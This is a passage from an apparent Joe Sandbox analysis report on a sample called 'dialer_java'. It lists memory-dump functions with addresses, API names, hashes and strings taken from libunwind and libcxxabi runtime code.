                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: strlen
                                  • String ID: +
                                  • API String ID: 39653677-2126386893
                                  • Opcode ID: 034d9eeac7ed9f065a3bffca9e980f61809d116cd8220f59320f650e106faf8c
                                  • Instruction ID: f14372d4e7cce4eebb4d14ef6addc7ee56314aa557113dbda3a541cb9533302d
                                  • Opcode Fuzzy Hash: 034d9eeac7ed9f065a3bffca9e980f61809d116cd8220f59320f650e106faf8c
                                  • Instruction Fuzzy Hash: C451DA6261C2414BDB348A29F05067EB7D0E751F54F049379EB9A87AC5DF3CE909CB04
                                  Function 00007FF695DE17D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: strlen
                                  • String ID: +
                                  • API String ID: 39653677-2126386893
                                  • Opcode ID: bd7113bcb185bcac57370222d55923cd67c9b6dee89d6d9374e4d696b49277c4
                                  • Instruction ID: 3d001631e82fa9670de56fe7e35310d25e9a3aee5e9012144d1d6bc7148e17d4
                                  • Opcode Fuzzy Hash: bd7113bcb185bcac57370222d55923cd67c9b6dee89d6d9374e4d696b49277c4
                                  • Instruction Fuzzy Hash: 0851A622B0C2428BE7348A65D45067EF7D0E705B90F446375DBAA87AC1DF2CE90DCB05
                                  Function 00007FF695DC8350 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: CaptureContextgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_init_local(cursor=%p, context=%p)
                                  • API String ID: 2386080382-2955335536
                                  • Opcode ID: 88fb065359ffd1b41ab9e8c7e360d3eec1f5404c89570d5450073f280386e48f
                                  • Instruction ID: 78b36d30c4fdf52f2b7b0b4349ce5739908b43f4e9bb0031bdab158abc9fe273
                                  • Opcode Fuzzy Hash: 88fb065359ffd1b41ab9e8c7e360d3eec1f5404c89570d5450073f280386e48f
                                  • Instruction Fuzzy Hash: F0613F21908AC492F72A4B2CE5057F5A3B4FF94755F046221EFD952261FF3AE6E6C340
                                  Function 00007FF695DE1336 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memset$fputc
                                  • String ID: 0
                                  • API String ID: 2903701566-4108050209
                                  • Opcode ID: a0d3a5661ce36724ce4f0edf4d6f76673b84bc3000fc61610cd582833da42273
                                  • Instruction ID: de020477b30bf4cb5b20b14f37a3347269df0be986854d833f8f389eb3e64ea4
                                  • Opcode Fuzzy Hash: a0d3a5661ce36724ce4f0edf4d6f76673b84bc3000fc61610cd582833da42273
                                  • Instruction Fuzzy Hash: F841D452F0828246F7764EA6A144379A6D1EB15B44F047370CE6BD67C2DE3CED4C8308
                                  Function 00007FF695DC86C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_set_reg(cursor=%p, regNum=%d, value=0x%llx)
                                  • API String ID: 1137233558-2498214732
                                  • Opcode ID: 2626be18dc42d8a8097e90423a9df2a82f05378c710c0b61fbde6bc6877379b2
                                  • Instruction ID: 3189917e6b98b7566ea8e3beadad4dc102c997a121d5a827c520f32f99e5aa89
                                  • Opcode Fuzzy Hash: 2626be18dc42d8a8097e90423a9df2a82f05378c710c0b61fbde6bc6877379b2
                                  • Instruction Fuzzy Hash: 4731C025A08A4941EB349B1AE84067867A1EF89FD4F1402B6CE4E937E0DF3DDD4AC304
                                  Function 00007FF695DC29A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: CCG
                                  • API String ID: 0-1584390748
                                  • Opcode ID: bca2953d2b6e64a94037ce9de8f585ddac2b29dba40fb9bb50120e72cae4939b
                                  • Instruction ID: c90c4c1ed353bb149b03357a9b0c49550a3549ebae799786ab06f7ecb294afe1
                                  • Opcode Fuzzy Hash: bca2953d2b6e64a94037ce9de8f585ddac2b29dba40fb9bb50120e72cae4939b
                                  • Instruction Fuzzy Hash: 84217A31E0920241FE798619E69037911C2DF86F60F24A7B5DE9EC73D5DF6CACC99248
                                  Function 00007FF695DD149D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF695DD1E5C
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF695DD1E55
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: mallocstrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 770973918-3503049562
                                  • Opcode ID: 7ad9bc6fb11ea0c1023f7e788617ed7f8260cd34674b678aa8a858bf99d7ee5a
                                  • Instruction ID: 26e2f847a163166556c5a42dccc7f1e84cf001c01cd77ca69e2958aa2c0c2453
                                  • Opcode Fuzzy Hash: 7ad9bc6fb11ea0c1023f7e788617ed7f8260cd34674b678aa8a858bf99d7ee5a
                                  • Instruction Fuzzy Hash: E331D132A1978285EA21CB14E0043A877A4EB45F41F455376DE5D8B791EF3CFA8AC304
                                  Function 00007FF695DD1215 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF695DD1E5C
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF695DD1E55
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$_assertstrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 3012236610-3503049562
                                  • Opcode ID: 80f2192df68dbc29744cb51aa87aac9d3ce2de7a8ecce5c615236e9c91d40759
                                  • Instruction ID: 9079b6e2e61cdc7388c11f9688a3fb985680f4164d011465815f5ba4922f8f7e
                                  • Opcode Fuzzy Hash: 80f2192df68dbc29744cb51aa87aac9d3ce2de7a8ecce5c615236e9c91d40759
                                  • Instruction Fuzzy Hash: 4E21B43260674189EB65CB14E4087A937E8EB45B80F451376EE5D4B7A1DF3CEA4AC314
                                  Function 00007FF695DDC460 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: [enable$_if:
                                  • API String ID: 471065373-3342140569
                                  • Opcode ID: 32ce757cdf94413e0a34cfbba9be9b52abb9da3bc6a676b3070354fd22958f46
                                  • Instruction ID: 95579cb5cd64917007dd9a9379b5c4493cf0aa7ee93e3834243b804cd3b46db7
                                  • Opcode Fuzzy Hash: 32ce757cdf94413e0a34cfbba9be9b52abb9da3bc6a676b3070354fd22958f46
                                  • Instruction Fuzzy Hash: 13114CB2A06B8682DA289F46F45426DA3A1EB54BC0F50D671CB8E477A1EF3CE9458344
                                  Function 00007FF695DC8600 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_get_reg(cursor=%p, regNum=%d, &value=%p)
                                  • API String ID: 1137233558-3294674404
                                  • Opcode ID: 9cb7dbdd395e0dc0e117b359f92bc1a8fce241447a1837db2b0fbb34ec30046f
                                  • Instruction ID: f708795daae9ac19d059e750633711c43dd3d2570b7014a5535b59821b7a49ac
                                  • Opcode Fuzzy Hash: 9cb7dbdd395e0dc0e117b359f92bc1a8fce241447a1837db2b0fbb34ec30046f
                                  • Instruction Fuzzy Hash: 39119A21E0964642FB349B22F95067866D0EF98F84F0811B9CD4EC73A1DE2DAD8E9304
                                  Function 00007FF695DD70F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memcpyrealloc
                                  • String ID: false$true
                                  • API String ID: 2500458235-2658103896
                                  • Opcode ID: 1e1fe210c3eab68983c4b7e7364e77fabcd6bcea1fa908b9b662bbad9f5be460
                                  • Instruction ID: e1223772d48b5542f6fde6301ee79936804a95d1bb57b34cc02acb2db5187db5
                                  • Opcode Fuzzy Hash: 1e1fe210c3eab68983c4b7e7364e77fabcd6bcea1fa908b9b662bbad9f5be460
                                  • Instruction Fuzzy Hash: 6301F5E2F05B4642FF289B11F9403B963E1EB44FC4F44A671CA4D47691EE2CD9898304
                                  Function 00007FF695DC89B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_get_proc_name(cursor=%p, &buf=%p, bufLen=%lu)
                                  • API String ID: 1137233558-3584756005
                                  • Opcode ID: ddb072e9844bd1fc43088026deb61ec753b8945efa0d84c694245139cab19971
                                  • Instruction ID: 3030c85a00a4d1163465b0e6d24601c4a52af70be35d92fe751a512ce1ce2a00
                                  • Opcode Fuzzy Hash: ddb072e9844bd1fc43088026deb61ec753b8945efa0d84c694245139cab19971
                                  • Instruction Fuzzy Hash: AA11A011E1928642FF248712ED046B556C0AF95FD0F0412BADC0ED73A1DE3CDD4E8308
                                  Function 00007FF695DC4D00 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00007FF695DC8C00: InitOnceExecuteOnce.KERNEL32(?,?,?,?,00007FF695DC4D18,?,?,?,00007FF695DC2E71,?,?,00007FF695EECC48,00000000,00007FF695DC1609), ref: 00007FF695DC8C11
                                  • FlsGetValue.KERNEL32(?,?,?,00007FF695DC2E71,?,?,00007FF695EECC48,00000000,00007FF695DC1609,?,?,?,?,00007FF695DC1315), ref: 00007FF695DC4D22
                                    • Part of subcall function 00007FF695DC8C90: FlsSetValue.KERNEL32(?,?,?,?,00007FF695DC4E16), ref: 00007FF695DC8C94
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: OnceValue$ExecuteInitcallocmemset
                                  • String ID: cannot allocate __cxa_eh_globals$execute once failure in __cxa_get_globals_fast()$std::__libcpp_tls_set failure in __cxa_get_globals()
                                  • API String ID: 2044551959-1509371760
                                  • Opcode ID: f1f45e0f00f5ce3d31606f51eb7ee3d72e9977eaa92f880a2da06ea4c8e6213e
                                  • Instruction ID: cd6bee4a667ddb5daeceed356962c72a747a331ba05b691b0c1ce53dbf002221
                                  • Opcode Fuzzy Hash: f1f45e0f00f5ce3d31606f51eb7ee3d72e9977eaa92f880a2da06ea4c8e6213e
                                  • Instruction Fuzzy Hash: 47012420E1A20782FE70BB11E9512B412D0EF90F44F402AB9D80DC63A2EF2DBD8D8308
                                  Function 00007FF695DC8880 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_get_proc_info(cursor=%p, &info=%p)
                                  • API String ID: 1137233558-1935908800
                                  • Opcode ID: e8ba0983abbb9daa666b015af6d5d3ea47504ba357e157cfbd2d07a602640b6c
                                  • Instruction ID: 8a620e25650a639af494351aad3105acbb4493cf5fdff7a9d42b6a6c2cddea98
                                  • Opcode Fuzzy Hash: e8ba0983abbb9daa666b015af6d5d3ea47504ba357e157cfbd2d07a602640b6c
                                  • Instruction Fuzzy Hash: 3A01A910E1969241FB389726FA047B516D0DF44F80F0811BAC90ED73A1DE6DAE8D8309
                                  Function 00007FF695DC18B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • (base != 0) && "DW_EH_PE_datarel is invalid with a base of 0", xrefs: 00007FF695DC19F4
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_personality.cpp, xrefs: 00007FF695DC19FB
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assertabort
                                  • String ID: (base != 0) && "DW_EH_PE_datarel is invalid with a base of 0"$/home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_personality.cpp
                                  • API String ID: 1072228434-1306384422
                                  • Opcode ID: 55f8dda17198795800073456670580f640aef58b898c353accad96664cddbd08
                                  • Instruction ID: 5912805908ef33a2c0f9f2349d27e3abd3eaab277bae84336cba283b5d69ceee
                                  • Opcode Fuzzy Hash: 55f8dda17198795800073456670580f640aef58b898c353accad96664cddbd08
                                  • Instruction Fuzzy Hash: 01014B22E0E626C0FD769784D54117852C4EF14F90F4926B5CE2DDA281EF3DFE4D8249
                                  Function 00007FF695DDB380 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assertmemcpyrealloc
                                  • String ID: basi$basic_istream
                                  • API String ID: 2326172077-1189760207
                                  • Opcode ID: f31d0bfda383c1b6082b963be46f988af25024c433917d3f22b798f058380b77
                                  • Instruction ID: a06978c2071bb2557cbfe57c5450048e47451ba7066e7e5ef3fae7e4b902d7a9
                                  • Opcode Fuzzy Hash: f31d0bfda383c1b6082b963be46f988af25024c433917d3f22b798f058380b77
                                  • Instruction Fuzzy Hash: CB0184E2F0565282EA748B05F540779A2D1DB14BC4F44A175CA5D4BA81EF2CE9558B04
                                  Function 00007FF695DDB38E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assertmemcpyrealloc
                                  • String ID: basi$basic_iostream
                                  • API String ID: 2326172077-3201662033
                                  • Opcode ID: 1823fbeb78b408ddb3383061037edbd1725e6bbaf58f914d64ac0c32d595fd86
                                  • Instruction ID: 7cd3d15d17c4661595b247099b2fcfe6c23192f42b8e59c97ffc02327171100a
                                  • Opcode Fuzzy Hash: 1823fbeb78b408ddb3383061037edbd1725e6bbaf58f914d64ac0c32d595fd86
                                  • Instruction Fuzzy Hash: 91F08FE2F0265282EA748B05F640779A691EB18BC8F44A171CA5D4BB81EE2CD9998704
                                  Function 00007FF695DC8920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
